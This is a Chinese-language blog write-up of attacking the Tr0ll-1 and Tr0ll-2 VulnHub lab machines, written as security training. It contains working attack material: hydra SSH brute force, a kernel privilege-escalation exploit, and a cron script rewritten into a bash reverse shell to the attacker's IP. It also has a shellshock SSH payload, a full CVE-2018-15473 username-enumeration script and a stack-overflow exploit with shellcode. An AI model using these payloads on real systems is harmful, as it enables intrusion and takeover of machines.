前言
最近看了一阵子小迪,感觉不能只是看理论,纸上得来终觉浅,所以打算搞几个靶机玩玩。这就目光聚焦在了知名的vulnhub.com网站了,根据搜集到的博客打算先打一打简单的,以后再搞难的!
Tr0ll-1
靶机配置
双击下载下来的vmx文件夹,导入到VMware虚拟机内部
需要注意kali虚拟机和靶机应该要再同一网段下(也就是虚拟机改为nat模式),我这是一台电脑安装的,因此不影响
靶机正常启动之后显示tty页面,就说明好了,可以不必管他了
refer:(https://www.cnblogs.com/BKNboy-Blog/p/18301056/Shooting_Range4)
打靶
信息收集和打点
首先使用nmap扫描存活主机,参数是-sn(老版本是-sP)
后面跟上192.168.1.0/24意思是可用 IP 范围:192.168.1.1 ~ 192.168.1.254下的所有主机
我的kali ip在192.168.153下面,因此靶机的ip八九不离十也是在这下面了
输入命令:
└─$ nmap -sn 192.168.153.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:22 EDT
Nmap scan report for 192.168.153.1
Host is up (0.00026s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.153.2
Host is up (0.00011s latency).
MAC Address: 00:50:56:E7:17:EE (VMware)
Nmap scan report for 192.168.153.131
Host is up (0.00029s latency).
MAC Address: 00:0C:29:1B:BA:36 (VMware)
Nmap scan report for 192.168.153.254
Host is up (0.00016s latency).
MAC Address: 00:50:56:F8:C2:5B (VMware)
Nmap scan report for 192.168.153.135
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds
|
这里扫出来192.168.153.1 / .2 / .254:都是 VMware 虚拟网关、虚拟网卡,不是靶机。
我本机是135结尾,那这个131就很可疑了
接下来扫描其开放了什么端口
-sV参数说明也要扫出来服务版本。-p-说明不指定端口,扫描全部的
也可以加上-sC说明使用默认脚本扫描,可能会扫出来一些弱口令等
结果如下:
└─$ nmap -sV -p- -sC 192.168.153.131 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:27 EDT Nmap scan report for 192.168.153.131 Host is up (0.0016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.153.135 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 600 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.2 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable] 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA) | 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA) | 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA) |_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.7 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/secret MAC Address: 00:0C:29:1B:BA:36 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds |
这里主要扫出来tcp端口、SSH端口和80端口,可以访问80端口看一看

这里面没有什么信息(前端源码也看了没有信息)但是至少知道了用的Apache 2.4.7版本的服务器
我们可以看到,加了-sC参数之后好多消息都爆了出来,包括自动帮我们扫描了/robots.txt和FTP匿名登陆
我们访问/secret,只是又给了一个无意义的图片,因此我们现在聚焦于FTP匿名登陆,刚好nmap给我们扫描到一个流量包文件,我们挤进去试试能不能下载
匿名登陆的时候我们输入anonymous即可不需要账号密码登录FTP服务
我们输入ls查看里面的文件
Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||10258|). 150 Here comes the directory listing. -rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap 226 Directory send OK. |
然后输入get即可下载里面的文件
我们下载下来流量包,进行流量分析

发现传输了一个txt文件
txt文件内容:
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P Sucks, you were so close... gotta TRY HARDER! |
这个是一个敏感的信息:sup3rs3cr3tdirlol
根据翻译,是超级-神秘-dir-lol
于是拼接到ip后面进行访问

可以看到这是一个文件预览系统,上一级目录看html代码正是根目录
于是我们下载这个文件,进行分析
通过010查看文件头,这是一个可执行文件
int __cdecl main(int argc, const char **argv, const char **envp)
{
return printf("Find address 0x0856BF to proceed");
}
|
只有main函数有内容,提示了一个地址。
这个地址并非是可执行程序内部的地址,于是合理怀疑是一个路由目录

很明显这里有password,这个密码推测是刚才的ssh服务的密码。
good_luck文件夹下面是以下内容:
maleus ps-aux felux Eagle11 genphlux < -- Definitely not this one usmc8892 blawrg wytshadow vis1t0r overflow |
另一个文件夹是pass.txt。于是推测这里面存在ssh服务密码
但是SSH还需要用户名,换一个思路,把good luck文件夹里面的当作用户名,pass.txt当作密码进行爆破即可
这里自己粘贴弄得txt没有爆破出来,于是先用wget下载文件:
┌──(kali㉿kali)-[~/桌面]
└─$ wget http://192.168.153.131/0x0856BF/this_folder_contains_the_password/Pass.txt
--2026-05-28 06:07:17-- http://192.168.153.131/0x0856BF/this_folder_contains_the_password/Pass.txt
正在连接 192.168.153.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:12 [text/plain]
正在保存至: “Pass.txt”
Pass.txt 100%[=======================================================================================================================================>] 12 --.-KB/s 用时 0s
2026-05-28 06:07:17 (2.32 MB/s) - 已保存 “Pass.txt” [12/12])
┌──(kali㉿kali)-[~/桌面]
└─$ wget http://192.168.153.131/0x0856BF/good_luck/which_one_lol.txt
--2026-05-28 06:07:28-- http://192.168.153.131/0x0856BF/good_luck/which_one_lol.txt
正在连接 192.168.153.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:109 [text/plain]
正在保存至: “which_one_lol.txt”
which_one_lol.txt 100%[=======================================================================================================================================>] 109 --.-KB/s 用时 0s
2026-05-28 06:07:28 (29.9 MB/s) - 已保存 “which_one_lol.txt” [109/109])
|
然后使用九头蛇进行爆破
命令:hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.153.131
密码竟然就是Pass.txt
$ hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.153.131 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-28 06:09:50 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task [DATA] attacking ssh://192.168.153.131:22/ [22][ssh] host: 192.168.153.131 login: overflow password: Pass.txt 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-28 06:10:01 |
成功拿到普通用户shell

提权之内核漏洞
我们linux提权,大概思路就是内核漏洞,suid,sudold_preload、cron、lxd、capability、rbash等等
我们先从内核漏洞开始看起
$ uname -a Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux |
查看内核版本是3.13.0之后,我们可以考虑用searchsploit工具查漏洞

查出来很多漏洞。主要看下面这俩:
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) |
使用locate命令,能够快速定位某个路径
└─$ locate linux/local/37292.c /usr/share/exploitdb/exploits/linux/local/37292.c |
我们复制这个出来,进行编译即可。局域网传文件,我喜欢python起一个服务器
python3 -m http.server 8088
我们去到ssh下面,执行cd /tmp和wget下载命令
$ cd /tmp $ wget 192.168.153.135:8088/exp --2026-05-28 01:31:17-- http://192.168.153.135:8088/exp Connecting to 192.168.153.135:8088... connected. HTTP request sent, awaiting response... 200 OK Length: 16488 (16K) [application/octet-stream] Saving to: ‘exp’ 100%[=================================================================================================================================================================================================>] 16,488 --.-K/s in 0s 2026-05-28 01:31:17 (457 MB/s) - ‘exp’ saved [16488/16488] |
但是这样子传不上去编译好的exp文件,我们只能上传.c文件之后在目标机器上编译
然后执行就拿到了shell
$ ls 37292.c $ gcc 37292.c -o exp $ ./exp |
提权之SUID
还记得刚才我说过,计划任务也是提权的一种思路
退出的时候,会提示这样一段话:

这里就是说明貌似root用户启动了一个计划任务
我们不能直接输入命令看计划任务
因此这里我们查看计划任务的日志,看一看能发现啥蛛丝马迹
命令:find / -name cronlog 2>/dev/null
然后出来了一个路径,继续cat:
$ cat /var/log/cronlog */2 * * * * cleaner.py |
出了这样一个东西
继续搜寻发现到计划任务的原本模样:
$ find / -name cleaner.py 2>/dev/null
/lib/log/cleaner.py
$ cat /lib/log/cleaner.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
|
怪不得我们一直退出,原来计划任务写死了
这里我们采取反弹shell的方式,让system权限反弹到kali机器里面
cat > /lib/log/cleaner.py << EOF
#!/usr/bin/env python
import os
import sys
try:
os.system('bash -i >& /dev/tcp/192.168.153.135/4444 0>&1')
except:
sys.exit()
EOF
|
没有弹成功,我们换一种思路,采取SUID提权:
脚本改为下图

写完之后,强制保存退出
chmod u+s 文件名 是给这个文件打上 SUID(Set User ID) 特殊权限位。
提权成功:

Tr0ll-2
靶场配置
还是打开vmx文件,改成nat,不多说了
refer:
(https://blog.csdn.net/shenyu_1126/article/details/110505159)
https://www.cnblogs.com/l2sec/p/14414527.html
打靶
信息收集和打点
还是nmap先扫描一下:
┌──(kali㉿kali)-[~/桌面] └─$ nmap -sn 192.168.153.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:34 EDT Nmap scan report for 192.168.153.1 Host is up (0.0012s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.153.2 Host is up (0.00096s latency). MAC Address: 00:50:56:E7:17:EE (VMware) Nmap scan report for 192.168.153.132 Host is up (0.00072s latency). MAC Address: 00:0C:29:5D:4D:05 (VMware) Nmap scan report for 192.168.153.254 Host is up (0.00014s latency). MAC Address: 00:50:56:F8:C2:5B (VMware) Nmap scan report for 192.168.153.135 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds |
还是192.168.153.132,先端口扫描一下:
└─$ nmap -sV -sC -p- 192.168.153.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:36 EDT
Nmap scan report for 192.168.153.132
Host is up (0.0049s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
| 2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:5D:4D:05 (VMware)
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.26 seconds
|
还是那几个端口,着重看ftp、ssh和80端口
我们扫描一下目录看看
User-agent:* Disallow: /noob /nope /try_harder /keep_trying /isnt_this_annoying /nothing_here /404 /LOL_at_the_last_one /trolling_is_fun /zomg_is_this_it /you_found_me /I_know_this_sucks /You_could_give_up /dont_bother /will_it_ever_end /I_hope_you_scripted_this /ok_this_is_it /stop_whining /why_are_you_still_looking /just_quit /seriously_stop |
扫描到了robots.txt,这里面有了不少的目录

进行统一发包发现就这几个不是404
于是点进去进行测试一波
这几个页面统一重定向到了一个jpg,我们可以分析一下图片里面是不是隐藏有什么信息

但是这四个图片其实是不一样的,在dont_bother目录下面发现了提示,根据靶机1的尿性,恐怕是一个目录
进去之后是大量的base64.看了博客提示反应过来,可以用base64命令便捷解码
这里每一行都有一条,可以考虑是密码。结合上个靶机,我们可以猜测是密码字典
└─$ ftp 192.168.153.132 Connected to 192.168.153.132. 220 Welcome to Tr0ll FTP... Only noobs stay for a while... Name (192.168.153.132:kali): |
这个ftp其实是提示了用户名
我们用九头蛇试着爆破一下hydra -l Tr0ll -P 1.txt ftp://192.168.153.132
发现错误了,看了博客才知道用户名就是密码。真的是缺乏尝试,这方面以后可以注意一下
这里面有一个加密后的zip,我们刚才获得的字典可以用在这里试一下。

成功恢复密码:ItCantReallyBeThisEasyRightLOL
noob是一个RSA私钥
➜ Desktop file noob noob: PEM RSA private key |
根据SSH版本,看看有没有可以利用的漏洞:

应该存在用户名枚举漏洞
因为poc版本太老了,用豆包简单修改了一下,枚举出来noob这个用户似乎是存在的
#!/usr/bin/env python3
# CVE-2018-15473 SSH User Enumeration
# 完全兼容 Python3 + 新版 Paramiko(Kali 自带可直接运行)
import argparse
import logging
import paramiko
import socket
logging.getLogger("paramiko").setLevel(logging.CRITICAL)
class InvalidUsername(Exception):
pass
# ===================== 补丁核心(已修复新版 Paramiko)=====================
original_add_boolean = paramiko.message.Message.add_boolean
def patch_add_boolean(*args, **kwargs):
return None
def hook_service_accept(self, m):
paramiko.message.Message.add_boolean = patch_add_boolean
try:
return self._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT](self, m)
finally:
paramiko.message.Message.add_boolean = original_add_boolean
def hook_userauth_failure(self, m):
raise InvalidUsername()
# 自动给当前 AuthHandler 打补丁(安全、无报错)
def apply_patch():
cls = paramiko.auth_handler.AuthHandler
cls._client_handler_table = {
paramiko.common.MSG_SERVICE_ACCEPT: hook_service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: hook_userauth_failure,
}
apply_patch()
# ========================================================================
def check_user(target, port, username):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
sock.connect((target, port))
except:
print("[!] 连接失败")
return
transport = paramiko.Transport(sock)
try:
transport.start_client()
except:
print("[!] SSH 协商失败")
return
try:
key = paramiko.RSAKey.generate(2048)
transport.auth_publickey(username, key)
except InvalidUsername:
print(f"[-] {username} 不存在")
except paramiko.AuthenticationException:
print(f"[+] {username} 存在!")
except:
print(f"[*] {username} 可能存在")
transport.close()
sock.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("target")
parser.add_argument("username")
parser.add_argument("-p", "--port", type=int, default=22)
args = parser.parse_args()
check_user(args.target, args.port, args.username)
|
$ python poc.py 192.168.153.132 noob [*] noob 可能存在 |
其实按理来说,也不需要这样。我们私钥文件是noob,就可以合理猜测noob就是用户名,这个只是一个佐证
用-i参数,可以用私钥登录SSH
这里需要注意,新版本SSH不能利用这个算法登录了,需要在参数显式声明才可以
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132
这时候会报错,怀疑是故意设计的不允许这样登录

我们加上-t参数也不行:
└─$ ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132 -t "/bin/sh" TRY HARDER LOL! Connection to 192.168.153.132 closed. |
shellshock攻击
可以参考这篇文章:shellshock从底层原理到手法总结-先知社区
老版本 bash(<4.1)在解析环境变量时,会把 () { ... }; 后面的命令直接执行。
使用这个漏洞即可拿到shell:ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132 -t "() { :;}; /bin/bash"
我们看一下内核版本
和靶机1一样,但是看博客说内核漏洞利用提权会失败,索性我也不想尝试了
suid提权搜索结果:

我们重点看这几个r00t文件,我们全部都拷贝出来试试。
可以通过base64命令,编码指定的可执行文件,到时候再转为文件即可
栈溢出提权
我们提取了俩是可执行文件,可以放进ida分析一下:
door1的main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
puts("\n2 MINUTE HARD MODE LOL");
result = fork();
if ( !result )
{
system("/bin/chmod 600 /bin/ls");
sleep(0x78u);
return system("/bin/chmod 777 /bin/ls");
}
return result;
}
|
他会暂时禁用/bin/ls的权限,也就是用不了ls命令
这个显然不是我们想要的函数
door3:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
puts("Good job, stand by, executing root shell...");
sleep(3u);
puts("BUHAHAHA NOOB!");
sleep(1u);
result = fork();
if ( !result )
return system("/sbin/reboot");
return result;
}
|
竟然直接重启电脑
那接下来我们只能看一看door2
这是main函数,为了尊重pwn放一张图片:

我们先检查一下程序的保护措施

基本上没有保护措施。这个程序我们可以利用栈溢出拿到shell
这里栈可执行,那显然可以往栈上注入shellcode
我们现在可以用gdb调试看看栈地址
main函数的EBP地址是:0xffffc818
可以参考:红队渗透项目之Tr0ll2 - FreeBuf网络安全行业门户
主要是找到地址,进行nop滑梯填充即可
下面是引用的原文章 有点不想复现了
用gdb进行拆解,找溢出值,填充300的值,获取偏移地址:
>gdb r00t >run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
获得地址:
>0x6a4139693)获得偏移量
利用pattern_offset.rb,找偏移量:
>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6a413969获得偏移量为268!
3、查找ESP的溢出地址
前面找到偏移量后,可以知道栈空间大小占据空间位置,接下来找到跳板地址也就是ESP,就可以跳到恶意代码shellcode位置!
1)print写入268个A和4个B,查找出EIP地址
>r $(python -c 'print "A"*268 + "B"*4') >info r
继续获取ESP值。2)获取ESP(下一跳值)
print写入268个A、4个B和20个C,查找出ESP地址:
>r $(python -c 'print "A"*268 + "B"*4 + "C"*20')
获取ESP内存地址:0xbffffb80
即反向ESP为:\x80\xfb\xff\xbf。4、shellcode编写
谷歌搜索获得shellcode:
>http://shell-storm.org/shellcode/files/shellcode-827.php因为它运行在Intel,并且操作系统是86位Linux,因此我从此处获取Shellcode连接:
>"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')当选择好shellcode恶意代码后,即可进行exp写入shellcode进行编写payload。
5、EXP编写
接下来需要执行exp,获得shell,开始编写。
编写EXP:
>./r00t $(python -c 'print "A"*偏移量 + "反向ESP" + "\x90"*20 + "shellcode"')按照模板编写:
>./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') >python -c 'import pty; pty.spawn("/bin/bash")' #执行tty
可看到成功缓冲区溢出跳转执行shellcode获得bash的shell!





&spm=1001.2101.3001.5002&articleId=161523748&d=1&t=3&u=47b40e52cf7e42d08ef2f87565718ef7)
2020

被折叠的 条评论
为什么被折叠?



